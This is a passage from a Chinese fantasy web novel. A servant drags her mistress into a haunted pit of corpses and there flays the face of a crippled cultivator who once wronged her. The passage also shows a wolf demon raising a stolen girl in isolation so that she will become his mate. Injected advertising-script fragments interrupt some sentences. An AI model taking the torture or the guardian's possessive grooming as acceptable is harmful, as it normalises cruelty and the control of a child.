“萤萤小姐,快跑!” “怎么了?” 萤萤背对着头狼,听到哼哧哼哧的粗重呼吸声,疑惑回头,怔忪望着没过头顶的狼影,阳光被遮挡住,她还没有反应过来发生了什么。 直到头狼凶狠盯着她,尖锐发黄的獠牙流出了涎水,喉咙深处发出低沉而恐怖的咆哮,对准她的头颅张开狰狞大口。 “——啊” 少女毫无防备从石凳上跌在地上,双腿发软,手臂挡住脸,眼泪夺眶而出…… “啊!别……别过来!” 蓄势待发的陶蓉心里轻笑。 瞥了一眼瘫坐在地上,娇躯猛颤,脸色惨白的少女……她真的很想没心没肺笑出声来。 萤萤小姐说,这狼朋友可乖了。可陶蓉上一次被群狼围困之时,那些狼就是这样恐怖窥伺她的。 四五只狼撕咬她的手脚,险些要咬断她的骨头。 陶蓉还以为,小仙子和这狼,是真的关系很好的‘朋友’呢。可既然是好朋友,怎么能不知真面目呢? 在外弱肉强食,就算这位小仙子被周朗保护的极好,那又如何? 周朗用威压和性命要挟她,陶蓉自然便要从周朗这男妖最珍视的人下手。 自她被喂下驯兽丹送给萤萤那一刻,单纯无辜的少女并未拒绝。 那么在陶蓉眼里,这天真烂漫的少女,自然也是该死的。 只是自己被喂了驯兽丹,除了借力打力,暂时还不能伤害名义上的‘小姐’。 匕首捅了恶狼一刀,趁乱时,陶蓉扯住少女纤细的手臂,粗鲁地将她一把拖拽起。 “小姐,狼是失去理智了,你别看着了,快逃命吧!” “……失去理智?”少女呆若木鸡望着恨不得将她们啃食入腹的豺狼,傻杵着。 陶蓉微不可查撇撇嘴。眨眼间,恶狼一爪拍碎近处的石桌,又朝她们扑来。 按理说,若是这个时候陶蓉舍命挡下一击,少女应当会心生动容。 可陶蓉从来就不是舍命相助的人。 她甚至想看看这位被养在山中的单纯小姐,在绝望之时,会作出什么样的举动。 陶蓉默默看向萤萤,只见肤白貌美的少女衣着洁净,不算狼狈,虽然受了不小的惊吓,眼神惊骇,却握住佩戴在脖颈上的护身玉佩,并没有想象中那般吓哭吓尿,吓软了腿脚。 少女有妖婴期大能给的贴身法宝,还有锦雏赠送的不少宝器。 要是真到危机时刻,法宝都能为主人挡祸! 不够,根本不够! 陶蓉处心积虑等来的时机,这般收场,怎能甘心。 恶狼前腿受了伤,伤口渗血,速度慢下来,有些忌惮陶蓉手中锋利的断刃,随时准备再次扑来。 陶蓉握住少女的手,从院后的小门前行,拉着她往密林中跑。 杂草丛生无人经过的山脉,林中湿气愈发重,鼻息中还弥漫着泥腥味。 两人慌不择路朝一个方向逃奔,不知道跑了多久,云雾沉沉,原本浅淡的日光,被阴雾全然笼罩。 裙裳凌乱,发丝贴在脸颊两边,身后的少女挣动不开陶蓉的手,几乎是被拖着跑。 “停…停下……” 少女声音断断续续,瞥了一眼四周越发阴森陌生的密林,心头一惊,这里她很少来过,周朗嘱咐过她,此处不安全,不许她来这边的。 她又回头,身后性情大变的狼早就没有了影子。 就一晃神,她脚一撇,钻心的疼痛袭来。 头一次,萤萤边跑边哭:“我……我脚…好痛,我…崴…脚了,我……呜呜呜。” 泪水刚流出来,便被阴风扇歪到耳廓上,少女哭得半死不活,几欲昏厥。 陶蓉慢慢降下速度,回头,眸光微闪。 “小姐,那你坐下来休息一下吧。” 少女已然靠在树旁,捂着脚踝,哭得上气不接下气,不能自理。 “你…你疯了吗?还是…耳朵…聋了……狼…都…没…影了,你还一直…拖着…我跑?” 药力本来就维持不了太久,受了伤的狼清醒了,自然会养伤要紧,不会再追。 陶蓉折断一根挂脸的尖刺,目视远处漆黑一片的泥地,没有说话。 这里土壤肥沃,草木都比别处生长的茂盛。 四周,有很浓重的血腥味。 陶蓉还记得,蛇妖把她叼在嘴里逃进山里时,那些对她们穷追不舍的修士,也随之追来。 可就是在这座山听见了狼嚎声,修士被迫中断,传来了打斗声。 “我…好疼,我要…回去……阿朗哥…锦哥哥…呜呜呜” 少女发软的腿在发抖,鞋底泥泞不堪,一张苍白小脸热汗混着泪眼,秀挺的鼻尖通红,哭声既酸涩又委屈。 少女这张脸,长得和苏灵玉一模一样,陶蓉看不惯。 看到她这种哭得涕泗横流的模样,陶蓉弯下身,去查看她捂着的右脚。 掀起裙摆,拉下罗袜,脚踝肿的像个包子,红得发紫,碰一下对方就喊疼。 “呜呜呜……还有脚底,也好疼,我…从来…就没有…遇到…这种事。” “好…疼啊……我……我要回去……我要阿朗哥…嗝。” 少女哭得嗓音发哑,还忍不住打了个哭嗝。 陶蓉微微撇眉,效果已经达到,看到这人受了难就行,暂不能动手杀了她,所以,待会还是将她背回去吧。 “小姐,我也休息一会,待会就背你回去。” 陶蓉转了个身,坐了下来,抬手一按地上的黑泥,手下触感异常怪异。 她探到鼻息,嗅了嗅。 指尖,是混着血腥味的黑泥。 陶蓉环顾四周,空气阴森无比,凉气侵体,少女漆黑的眼注视着某个树叶窜动的方向,有所狐疑。 锦雏讲过,人死后,都是有魂魄的,尤其是那些惨死的人,死后会化作厉鬼,四处游行。 修士也不例外,不过,若在这隐世山里被杀,想必魂魄要么被绞杀殆尽,要么很有可能……会被拘在一方。 陶蓉在此警戒了小半会,手脚冰凉,胸口像是被重物压迫一般沉重,仿佛被一股无形的力量束缚,浑身都不舒服。 她转眸看了一眼身旁渐渐止住哭声的萤萤,少女抱着膝盖,神情疲软,哭累了自然控制不住昏昏欲睡。 少女身上穿得是独眼怪从某个女修士芥子袋中搜刮的云织,身上应还有辟邪的法宝,虽然在山里生活,但未遭饥馑洪涝之患,亦无饥寒之虞,这么多年安逸度日,手上两个茧子都没有……她才不会感到半分凉意。 今日跑这一遭,或许是这山里的小仙子,遭受过的最大苦累了。 陶蓉唇角露出几分自嘲来。 歇息足了,她起身,俯视脚边的人,“小姐,醒一醒,我背你回去。” 少女长睫如蝉翼般脆弱地颤了颤,她睁开眼,扶着树干软绵绵起身。 “嘶…” 一路来,陶蓉对她起不了杀心,带她出来溜也是尽量躲开、拨开荆棘和狂草,萤萤虽然崴了一脚, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 但手上脸上连个划伤都没有。 这下好了,树干有好几个划痕,像是狼爪抓出来的,锋利木屑外翻,直接割伤了少女的手心。 娇嫩的手心霎时有了一道血痕,艳丽的血滴答滴答落在泥地里。 一刹那,若说刚才还是犹疑,那么此刻,耳旁传来的凄厉刺耳,宛若刀片划破空气的叫声,那便是确确实实存在了。 少女捂住手,随着掌心的血珠不断滴落在泥地里,耳旁也听见了古怪的声音。 忽远忽近,阴森恐怖,仿若眨眼间就在耳旁,如同被撕裂的布料一般,让人听了头皮发麻。 脖子上的玉佩开始微微发热,少女蜷缩手指,心头一片恐惧,她脚步踉跄回头,便见眼口鼻渗出血泪的陶蓉,正阴郁地看着自己。 “阿娘,妹妹被卖了,你怎么一点也不伤心呢?” “啊!” 眼前的人,变得惊悚可怖,少女脸上好不容易缓和的一点儿血色,全部褪了个干净。 后背的热汗被冷汗替代,身上的汗毛竖立起来,萤萤连咽口水都觉得困难,她睁圆了眼,吓得连眼泪都逼退了回去,也忘记了疼痛,一瘸一拐往来时的方向逃跑。 “娘,你好狠的心,为何要生呢?是爹逼你的吗?” 身后七窍出血的人,如影随形。 萤萤后悔了。 她太孤独了,那夜,遇到锦雏,想着终于有人来陪伴自己,喜不胜收。 可锦雏身边还跟着一个丑陋的少女,萤萤知道狼群围困住了她,就如偶尔撞见灰狼们饥肠饿时一口咬死野.鸡、野.兔、山猪一样,盯上了人。 少女手刃了好几只狼,平日里对萤萤摇尾巴的灰狼们都那样血淋淋躺在地上,萤萤心里明白事实如此,可她止不住不气恼。 所以当周朗拿出一个黑泥般的“驯兽丹”强逼陶蓉服下时,她默许了。 她觉得,这也没什么,自己还算是帮陶蓉呢。毕竟陶蓉服下驯兽丹,就能留下一条命,不仅能和锦雏一起留在山里和她一块住,也能躲避山外的那些追杀他们的修仙者。 可她问了锦雏哥哥才知道,原来,陶蓉就算离开山里,也不会被修仙者注意,还能在人间独自生存得很好。 锦雏哥哥还说,他以前有个同伴是个蛇妖,就是受了陶蓉的恩惠,才甘愿留在他身边,供他驱策。 萤萤没接触过这些弯弯绕绕,只觉自己无辜,可现在,她后悔当初因为一时气愤,没阻止周朗让陶蓉做自己的‘丫环’。 才遇到这种祸事! 周围都是凄厉的叫声,和人哭喊一般无二,身后流着血泪的陶蓉还在追赶自己。 萤萤牙齿直打颤,抱头鼠窜地逃,视线却模模糊糊,影影绰绰的东西在前面飘。 “——啊” 她叫破了嗓子,一头栽倒,身后的手却轻轻搭在她的肩膀上。 “娘,你回头看看蓉儿。” “…陶姐姐…我错了…我真的错了…” 少女膝行前进,埋着头向前爬,嘎吱一声,双腿蹬开了两块板子,眼前一黑,她终于逃离了陶蓉的手。 可全身从在急速下坠,扑通一声,少女摔在臭烘烘一堆没有血肉的修士残袍上,昏了过去。 * 陶蓉阳气弱,四肢百骸陡然一凉后,她恍惚看到了她娘。 小时候到现在,都是对爹娘的怨愤。 就算被鬼俯身,陶蓉也不会死。 只是身体被某个修士残留的幽魂夺取,她仇恨未清,亦不甘心。 咬破舌尖,陶蓉从剧痛中醒了,低眸,便是一口看不见底的地窖。 地窖,涌出浓重的臭味和血气味。 而……那个吓得爬行的小仙子,摔进去了。 这块地很显然,就是众修士埋骨之地。放眼整个山脉,只有周朗能做得出。 “欸” 陶蓉就这样自个回去了,要是萤萤真出了什么差错,周朗肯定不会放过她。 她将双脚往下探,探不到底,不知道有多深。 反正她死不了。 陶蓉闭了闭眼,松开手,由着自己身体坠落。 25. 旧识 尸臭漫天,耳边飞过某种虫虱。 陶蓉一条腿磕着什么地面的硬物,疼得龇牙咧嘴,她擦了擦脸上被鬼俯身时,因为气血上涌而渗出的血,摸黑去找人。 手指却勾住一堆破破烂烂的碎布,少女皱着眉头爬起来,用脚尖探路。 “小姐,醒醒。” 脚边已然昏厥,脸颊上的皮肤滑嫩得很,地窖里一点光亮都没有,也不明此处到底藏着什么东西。 “啪” 眼下把怀里的少女唤醒要紧,她下手重了些,半个巴掌打下去,少女感知到疼痛,身体抖了抖。 “小姐,你再不醒,就要死在这儿了。” 陶蓉虽然亦有些疲倦,但心里兴致勃勃,铆足了劲又对着少女细皮嫩肉的小胳膊扭了扭,果然,听见惊醒后的尖叫声。 “嘘——” 萤萤醒了,陶蓉也没必要在捉弄欺负她,捂住少女的惊呼,将她扶起,很体贴地搀扶着她。 “小姐,刚才我被怨鬼上身了,出现了幻觉,不是故意要恐吓你的。” “欸,都怪我,是我对山里的境况还不了解,可我没想到这里会这么危险,真的是无意才带你往这个方向逃跑的……小姐,你手还流血么?从上面摔下来,有没有受其它伤……” 萤萤脑子很疼,大脑炖钝,脚踝的刺痛忍受得已经麻木了,后背尤其是腰上像是散架一样。 掌心的伤口还在淌血,耳旁隐约还能听见刺耳的叫声,不小心跌进这不知名的地下洞里,臭气熏天,脚下踩到陌生的骨头便罢了,耳旁都是“嗡嗡嗡”的小虫子便算了,还要听陶蓉在这有得没得唠叨和道歉。 现在说什么都没有用了。 “你、你快带我出去……”少女紧紧抱着陶蓉的胳膊,头发凌乱,脸色煞白,山里不食人间烟火,被大妖保护的少女,哪里被吓成这样过。 偏偏身边的陶蓉拉长了语调,犹犹豫豫道:“小姐,可是……你现在伤成这样,等我们回去了,你的周朗哥哥会不会杀了我啊?” “你哥哥那么护着你,到时候出去了看你受了这么多伤,如果他要杀了我泄愤,我却连个帮我说话求情的人都没有……” 陶蓉伤心欲绝吸了吸鼻子,“要是那样……小姐,我就不出去了,还是死在这里面好,这里鬼魂多,说不定我死了后还能和它们一块作伴。萤萤小姐,你自己出去吧。” 萤萤急得一口气憋死,于黑暗中死死拖着陶蓉的手臂不松开,眼角冒泪:“我、我自己如何出去?” “小姐,我受了伤,对这地窖也不了解……有心无力啊,你要不自己去四周摸索一下?或许就能踩着什么东西爬上去呢,总之,小姐,你别管我了,快寻找法子逃出去吧。” 陶蓉再次想抽出手臂来,身边紧紧挨着她的少女,却是缠得更紧,全身都开始发抖。 她听到了少女的啜泣声,干哑得很,娇弱的身子也开始摇摇欲坠。 不用说,就算陶蓉看不见,也能想象出这小仙子哭得满脸泪水哽噎地模样。 这暗无天日的地下,萤萤哪还有力气自己出去? 她怪陶蓉,也怪自己昏了头,生了好奇心,跟着陶蓉朝鲜少踏入的密林一路瞎跑。 周朗说过,这里来不得,不安全,果真如此! 萤萤真是后悔,从小到大阿朗哥对她良苦用心,保护得那般好,本就不容易,自己还总是这般毛利毛躁,犯下错事。 阿朗哥在哪?若是发现她不见了,定然会很着急吧? 少女哭成了泪人,她连站着都没有力气,快要撑不住,四周深不见底,连瞳孔都无法聚集某个点。 她强逼自己声音不颤抖,无瑕再听陶蓉论孰是孰非。 就算陶蓉不久前还七窍出血将她吓得半死,可现下,萤萤只能将希望全部寄托在身旁的女孩身上,只想让她帮帮自己,尽快逃离这个鬼地方。 “你只要带我出去…不,你只要和我一起找出去的方法,我都不会让阿朗哥惩罚你的,陶姐姐,求你帮帮我……” 漆黑的地窖中,陶蓉听到意想中的承诺,便没有再抽出手,叹息一声,缓和了忧愁的语气,撕开自己的里衣布料,安抚道, “小姐,你别怕,我先给你包扎,我怀疑怨鬼对你的血起作用,咱们先止住血。” 这块厉鬼叫声如此澎湃动荡,不多时,就算陶蓉最后没有找到方法带萤萤逃出去,想必周朗和独眼怪都能很快察觉。 地窖内应就是死人冢了,尸臭味都要熏死个人,脚下还有好些骨头碎渣,一地被尸虫腐食的布料,陶蓉就算处理了不少修士的尸体,此时待在这闭塞的环境,也有些作呕了。 更逞论身旁娇花似的小仙子。 一圈一圈给萤萤手掌缠好了布条,陶蓉屏气凝神,眸光被某处传来的动静攫住,她不动声色瞥了一眼那个方向,脸上却是惨兮兮道,“小姐,我就这一身好衣服料子,不过能帮小姐,也没什么的。” “哗啦”一声,陶蓉又私下一大块柔软些的衣料片子,对半折叠后,给少女唇齿口鼻蒙上。 “小姐,这里的气味闻多了不好,你且挡挡。” 少女满脸都是泪痕,不远处那个方位传来的响动越发难以忽视,高度警觉的陶蓉用布料给她擦拭眼泪,让她自个堵住口鼻,随后默默掏出匕首。 萤萤另一只手被塞了一团刚擦拭过眼泪的布,照做捂住鼻子,她闻到了某种苦涩药草的味道,便下意识忘记了哭,沾泪的眼睫微微一颤,目无焦距地看向身旁的人。 两眼一摸黑,对上未知的恐惧,陶蓉对这种感觉很熟悉,也不觉得如何。因为她第一次提心吊胆面对藏在暗处的怪物,是薛丑。 眼前躲在角落的东西,最坏的打算,便是什么鬼物,要吃了她们。 而也有可能,是个兽还是人。 很快,陶蓉耳尖微动,她听见了压在碎骨头还是碎石头上的声响。 电光火石间,陶蓉拉过萤萤,错身躲过一直潜藏在黑暗中,陌生东西带来的阴风。 “啊呃…额啊” 是人。 陶蓉抽出刺入某处皮肉的匕首,皱了皱眉,带动萤萤后退。 掏出了昨日用来点火烤兔肉随身携带的火折子。 半个小指头大小的火苗倏地亮起,橘黄的火光很是黯淡,却也能照亮周围两步的距离。 昏暗的视线有了焦距,待看清周围的情景后,陶蓉不自觉握紧了身侧少女的手。 脚下,果然都是尸虫,满地干涸血渍,还有早已沦为枯骨的修士袍服,除了类似仙门修士的弟子袍服,还有粗布麻衣,明显是凡人的衣服。 形形色色的骨头,一大堆头颅盖是有人骨,有几些类似动物的骨头……凝结的皮毛还沾在骨头上,爬着虫虱和蠕动的腐蛆……恶心极了。 而在暗处要偷袭陶蓉,反被她捅了一刀 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的,是个穿着仙门弟子袍服的修士。 说修士,已经不大像,两腿都被打断,拖在腰后,靠着两个手臂撑在地上行动,手上还握着一把仙门的灵剑,张着嘴,眼里泛着毒光,盯着她们,舌头却是被拔了,“啊啊啊”说不出半句话。 而堆满了尸骨的地窖,只有这个人不人鬼不鬼的修士,还活着。 瞳孔骤缩,陶蓉松开萤萤的手,举起火折子凑近了地面上的修士,唇角微扬。 真是踏破铁鞋无觅处,得来全不费工夫。 眼前这修士,竟就是在薛府羞辱陶蓉过后,用蕴含了灵力的剑尖划破陶蓉面容之人。 陶蓉记得,这人是清云宗的,苏灵玉喊他“刘师兄”。 她死都记着这人,可这人早已忘记陶蓉这一号小小凡人了。 * 刘腾那夜带领一群弟子追杀蛇妖。 却在此山遭野狼袭击,他愿意以为随随便便就能驱退所有野狼,谁知有一个九尺高的男人出现在眼前。 男人全身都是肌肉,看着壮实,不过周身并不妖气和灵力,瞧着像是普通人。 可他出现后,所有狼都夹着尾巴伏倒在地,瞧着甚是诡谲怪异。 真正修为高深的大妖,早就能随意隐藏自己的妖力,有些连探妖的罗盘都辨识不出。 刘腾暗暗退了几步,果然,便见眼前的大汉抬抬手,便拍碎了他身前两个筑基期师兄的天灵盖。 所有炼气期的师弟都死了,被狼叼着尸体同往密林的一处饱腹。 而跪地求饶的刘腾,和另一个筑基期的师兄,则是被挑断了脚筋,双双拔了舌头,丢进了都是尸骨的“地窖”里。 地窖布下了某种强悍的阵法,不仅能拴住几缕死不瞑目难以消除的厉鬼,也能封住所有灵气和妖力,防止外泄。 这六日,被丢进地窖里的刘腾毫无灵力不说,还又饿又渴,受了重伤,比凡人还不如。 他生不如此被困在这里,一直战战兢兢等待着外头大妖来最后了断他们,但就在前日,刘腾为了活下去,抢夺了师兄身上为数不多的几颗丹药,饱餐了一顿。 刘腾虽然是仙门弟子,但他出身不够,能顺理成章进入内门,快人一步筑基,靠的就是心机和手段。 挡他生路者,就算是同门,下场亦是如此。 而今,他从死人堆里苟活至今,终于等到了人。 先后两个女人,不论是人是仙还是妖,同样被限制了修为,至少不是那个修为远在妖丹期以上的大妖。 计上心头,刘腾在黑暗中窥伺着两人,握着剑逮着机会动偷袭时,却反被捅了一刀。 伤痕累累的身体本就不堪重负,他绝望怨恨地躺在地上,直到一个女人拿出了火折子,刘腾看见了一张熟悉的绝美容颜。 “啊额噶…锕阿”小师妹!是你! 仰头,一个花容月貌的少女便站在那儿,捂着鼻子,一双纯美的眼眸惶恐不安对上刘腾的眼睛时,却并没有他想象中的惊喜,而是像是受到了巨大惊吓,迅速转移视线。 “姐姐……那是什么东西?我好害怕。” 萤萤不小心看了一眼趴在地上和怪物一样的男人,他正万分激动地仰视着她。 少女又被吓住,声音哆嗦,直接扑进陶蓉怀里。 她再也不敢心里说陶蓉丑陋了。 因为和地上的怪物比起来,眼前的女孩瞧着相当舒服了。 26. 仙珠 刘腾冒着亮光,险些握不住手里的剑,如同看到救世主,冲向萤萤。 “啊啊…”他张着血迹斑斑的嘴巴,仰着头流出热泪,像个迅猛的蜘蛛一样爬行。 陶蓉知道,这姓刘的修士把萤萤错认为苏灵玉,眼里有了希望。 “嘭!” 侧个身,腿上发力,陶蓉面无表情,一脚踹向冲刺而来的蜘蛛男脸上。 手中的火苗微闪,而蜘蛛男则是防不胜防砸上封闭的泥墙,半瘫地摔落在地,手中的剑都被甩飞。 他抽搐手脚四仰八叉躺着,眼中闪过一瞬错愕,一张还算人模狗样的脸被踹得扁平。 “啊”蜘蛛男眼里淬满了嫉恨和恶毒,怒不可遏盯着阻拦他靠近小师妹的丑陋女人,恨不得扒了她的皮,重整旗鼓,撑起尚有气力的胳膊,不死心翻身。 这一次,他捡起地上师兄结实的股骨,目眦欲裂冲过来。 陶蓉想要这人死,是早晚的事。 弯腰扫腿,弹跳至半空的修士看似凶恶,实则已然残废,他对陶蓉起了杀心,可被限制灵力的他早就到了强弩之末,敏捷度和力量连凡人都不如,并非对手。 悬空中的男人脸被踢踹,一歪,伴随着血沫的牙齿飞出来,摔在地上震起好些尸虫,毫无悬念,胜负已分,蜘蛛男眼冒金星,若死狗似的倒在地上,再想爬起来都困难。 都说滴水之恩涌泉相报,那刘腾在薛府对陶蓉施与的恶,陶蓉自然也要百倍奉还。 她走过去,抬脚在刘腾手骨碾了碾,直踩的男人骨节寸断。 又亮出短刀,一刀一刀剐下刘腾脸孔方正的面皮来。 突然,她手一顿,回头看向身后的萤萤。 少女紧捂着口鼻,傻傻地瞧着自己,半晌没有开口。 “小姐,这人刚刚要扑向你,这样他才能老实一点,你若是觉得血腥,就转过头。” 说完,陶蓉将手上一块块的血肉丢到地上,霎时就围满了腐虫,地上的修士连抬手的力气都没有了,生生看着女人将刀剐下他脸颊、下巴的肉来,发出一系列的痛苦呻吟。 做梦都想杀的人,此刻就这样被打成残废关进地窖,任她宰割,缺乏了亲手将人毁坏,使其破碎的快乐感,就算现在一刀把刘腾捅.成刺猬,陶蓉也不会感到多少喜悦。 她懒怠地收开手,两指搓了搓腰上的衣服,捻去血迹,不再看地上脸被剐去好几层皮的蜘蛛男,抬脚迈过男人,陶蓉看向阴湿的墙面。 黑泥土墙,短刀却只能没入土壤中一半,地窖布了结界,只进不出,一旦被丢进来的,想逃出去难如登天。 “姐…姐姐,怎么样?你知道怎么出去吗?” 陶蓉摇头,收起了火折子,视线又归于一片黑寂,“没办法,安静等着吧。” “要等多久?这里这么深的洞,万一阿朗哥和锦哥哥发现不了我们怎么办?我们会不会也死在这里?” 黑暗中,萤萤泫然欲泣,她筋疲力尽,哭得和核桃眼一样的眼睛变得刺痛干涩,白日为了寻兔子就没有吃过东西,如今又耗尽了所有体力,全身疼痛,硬撑着站立。 火苗一合,她下意识摸索着去陶蓉的方向。 半天没有摸到人,她心一直悬紧,可漆黑地洞里,陶蓉久久都没有出声安慰她。 她心里起伏不定,砰砰跳着,愈发慌急。 “姐姐,你在哪儿?” 一只温热的手托上萤萤挥动的手,手心粗粝,细长潦大,还有尚且干涸的黏糊血迹,却奇迹般让萤萤混乱的心沉了底。 “那就等吧,肯定会有人来带我们出去的。” 萤萤自我安慰,她明白,陶蓉虽然有点能力在身上,不过是凡人又不是个铁人,这个时候不仅她一身是伤,旁边的人也是从上面摔进了地洞,刚才瞧着额头冒汗,唇色苍白,走路姿态也有些跛。 两人现在应该都很累吧。 萤萤难以形容自己现下的无助,什么也做不了,就和山里虫蚁一样弱小无力。 最后,她只能学着沉得住气的陶蓉一样,强做镇定,眼巴巴的按紧了陶蓉的手。 不一会儿,萤萤感觉脚上有什么虫子在往上爬。 旁边的女孩一动不动的,她胆子比萤萤大多了,看到这些尸虫有些诧异,却根本不怕,可萤萤忍了好半会,在虫子爬到小腿处,还是痛楚难当喊叫起来。 “呜呜呜……虫子爬我身上了……我受不了了,我要出去,有没有人救我们出去…” 站着闭目养神的陶蓉淡淡掀开眼皮,耳边是少女奔溃绝望的声音,她嘤嘤地干哭,手心都是她阵阵冒出的冷汗。 闭塞的环境里,陶蓉听着少女泣不成声破碎地哭喊,微微勾起唇角。 看吧,她就算住在山里,但可比她幸福多了。 仰头看了一眼头顶的黢黑,地窖木板就像个机关,触动会自发打开,又会自动合上,周围还有隐去所有气息的结界,这样下去,就算鬼气动荡,或许独眼怪觉察不了。 只能靠布置结界暗设一切的主人周朗了,那个死妖怪,这几日到底跑哪去了?不是最珍视他的宝贝萤萤么,怎么还没来? 不知道还要在地窖里等多久。 以前埋尸埋得多了,怕沾染尸气,还会在洗澡时特意往水里添了捣碎成汁液的避尸草。现脚下虫子都不敢近她身,倒是多等一下时辰也无所谓。 就是旁边这娇花似的小姐,不知道还能撑多久,她身上的玉佩虽然能驱邪,但不防虫,要是又昏倒了,尸虫爬进了耳孔里,那就惨了。 陶蓉撇撇眉头,有些心疼地解开腰上习惯性佩戴的香囊,香囊里放了一些丁香、肉豆蔻、麝香,用刺鼻的香料味掩盖避尸草的味道。 如今,重新打开火折子,递给萤萤,她将人拉直墙角,同样离那瘫在地上身上爬满虫子的残废刘腾远了些。 “别哭了。” 再哭要是昏倒了,她就算被尸虫侵蚀了,陶蓉可不会再管。 后背贴着阴湿的泥墙,划出两人一小方停靠的位置,抓着香味过于刺鼻的香料,洒在脚边,便见那些饥饿寻来的腐尸们,全部停在洒了香料的外缘,半晌不敢前进。 “哇,你、你好厉害。”躲过虫子后,哭兮兮的少女也不管脏污,跟着陶蓉一起靠在角落。 她握着摇曳微弱的火折子,蹲坐在墙角,偷偷转头去看她,便见女孩已经闭上了眼。 萤萤没有见过别的女孩,亦没有细致观察过谁,判断美丑只能从简单的几个方面,比如第一眼看人时是否觉得悦目。幼时她走路偶尔也有绊倒受伤,有次额头磕到了石头,即使伤好后,也会留下淡淡的红痕,阿朗哥很是着急,后来特意下山过一次,找了上好的药膏给她日日涂抹。 她还记得那时阿朗哥拧着眉头说,留了疤的小姑娘就是有了瑕疵,不好看了。 所以,初见陶蓉,萤萤一来觉得她杀了狼,让人心底不舒服,二来她满脸疤痕,可太丑了。 眼下,但见面前的人侧容沉静,她闭着眼睛,在橙黄色朦胧的火光下,整个人都显得很柔和,睫毛纤长而不弯曲,鼻梁线条柔美,挺翘秀气,嘴唇……抿着,此时的她,五官看起来也挺好看的。 萤萤举光凝着她,脑海中却是一幕幕闪过不同画面,一己之力杀狼的陶蓉、每日老实为自己摘果子的她、跪在脚边流着眼泪诉说心里委屈的她、拉着自己一路狂奔的她,还有现在,和她一起靠在墙角等着人来解救她们的陶蓉。 阿朗哥说得不假,人果然是最复杂难懂的,萤萤垂下了紧握着火折子的手,默默撇开脸。 在经历过极度的恐惧和哭泣之后,萤萤被抽空了力气,她耷拉眼皮,头慢慢低下,不由自主依靠在身旁女孩削瘦的肩膀上,她也准备养养精神缓和体力,可却抵挡不住困意的侵袭。 陶蓉嘴角下撇,及时扶稳了快要从少女手中落地的火折子,地窖里空气污浊,那么多虫子和布料,若是烧起来,怕是她们两个不是被烧死就会被浓烟呛死。 “真服了,这么多尸虫的地方也睡得着。” 陶蓉心里轻嘲,淡漠瞧着靠在自己肩上睡得沉沉的少女,又看了一眼不远处依旧和一摊烂肉似的刘腾。 喉咙肿痛,肚子饥肠辘辘,任是再强劲的体力,在这里面待久了,也总会被耗死。 从衣襟里拿出前几日在山里摘的一些甘草和金银花,偷偷含进嘴里,默默嚼进肚子里。 吃得不露声色,待喉咙稍微舒服了一点,陶蓉又重新闭上眼,假寐。 * 连绵的群山边缘,有一座尾峰,周朗在布满强大结界的山洞里,已经待了三日。 再过两日左右,等体内牵引他的禁制全部压下,结界的力量就能暂时消失,他便能重新见到他的萤萤。 可当日,他留在萤萤玉佩上的妖识,有了感应。 萤萤现在有危险! 化为原形——一只暗蓝色 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 狼妖的妖兽陡然抬头,勃然大怒,急不可遏地撞向结界,下意识想要冲回山里保护萤萤,谁知被强悍的结界弹回。 猛地吐出一口血来,狼妖化为了人形,双目猩红,虚弱地爬了起来。 “萤萤” 他紧张地喊了一句,可纵使他再如何担忧,眼下被仙门掌门苏云微用“驯兽丹”牵制的他,都不能离开这个结界。 此山的结界是他耗费高阶妖宝亲手布下的,为的就是他每个月的十五月圆前后几日,将自己困在结界中,不得离开。 清云宗那个口腹蜜剑的掌门苏云微,炼制了驯兽丹,百年来都用驯兽丹控制他,不仅让他残害同族,还操控他刺杀旧主妖王…… 十六年前,苏云微诞下一对双生女,其中一女便是萤萤。 萤萤生下便停了心跳,本欲夭折,苏云微救女心切,偷用了清云宗仙宝——玄光琉璃珠,置入了萤萤心脏,给她续命。 玄光琉璃是天下绝无仅有的仙宝,晶莹剔透,蕴含的仙气难以估量,至纯至净,不可沾染半分污秽,需日日引灵池水洁净,便能蕴养整个仙门数千年。 这五百年来,仙珠问世,被清云宗所得,引得三界觊觎,若是给了妖族,或被魔族加以利用,早已不同今日而语。 十六年前,却被清云宗掌门私自给了自己的小女儿续命,彼时周朗被迫受制于掌门,就是那时候,偷得了寄养仙珠的女婴,先逃到人间,准欲先疗养好伤,躲过仙界的追捕,再将功赎罪,将仙珠献于旧主妖王。 可是周朗躲在凡间山里,却在半个月后,犹豫了。 他憎恨仙宗掌门苏云微,却给她的女儿,粉雕玉琢的小女婴取了一个名字:“萤萤”。 周朗做了五百年的妖怪,遇到萤萤后,却觉得相伴萤萤的半个月,便能抵过去的五百年光阴。 他被苏云微的驯兽丹控制,铸下大错,本就成了妖界的“叛徒”,索性将错就错,做了一个决定。 从此,他带着可爱的萤萤躲在了人间的山里,隐藏气息,开始养育这个孩子。 小丫头心脏处承载仙珠,周朗费尽心机不知道用了多少方法,才不让她避免沾染丝毫的妖气和其它污秽气息。 萤萤很脆弱,这样干净纯粹的她,若是妖气、鬼气或者魔气污染了她体内的琉璃珠,都能让她堕入恶道。 幸好苏云微那个毒妇,也给萤萤留下了仙器打磨的玉佩,驱邪除祟,任何妖魔鬼怪都不能入.体。 少女日渐长大,乃至而今的亭亭玉立,绝色倾城。 周朗小心翼翼守护着她,亦是打算日后待她成年懂事,与她结为伴侣,长长久久相守相伴到死为止。 只是少女是天生的仙胎,有万中无一的天灵根,她体内磅礴的仙珠亦太过可怕,周朗怕终有一日,她会自己引气入道,最终选择修仙,弃他而去。 所以周朗从始至终都将她拘在毫无灵气的山里,让她终日与温顺的动物相伴,不教她识字,不给她下山示人的机会,只让她单单纯纯的成长。 让她心里只有自己,毕竟,周朗心里也只有她而已。 可周朗精心预备这些年,少女却日日寡欢,脸上的笑容日渐寂寥。 人是群居灵长类,她虽然害怕下山,恐惧凡人,却觉得孤单。 周朗暗暗注视着她抱着兔子忧郁哀愁的模样,到底还是不忍心,勉为其难才选了一个不足为虑的小鼠妖和一个丑陋的凡人少女给她作伴。 一个用妖契控制,一个用他自己炼制的驯兽丹控制,周朗以为,万事妥当。 谁知……附在玉佩上的妖识那头,玉佩在发烫,他的萤萤遇到了什么危险。 又吐出一口妖血,周朗气得额头暴起青筋。 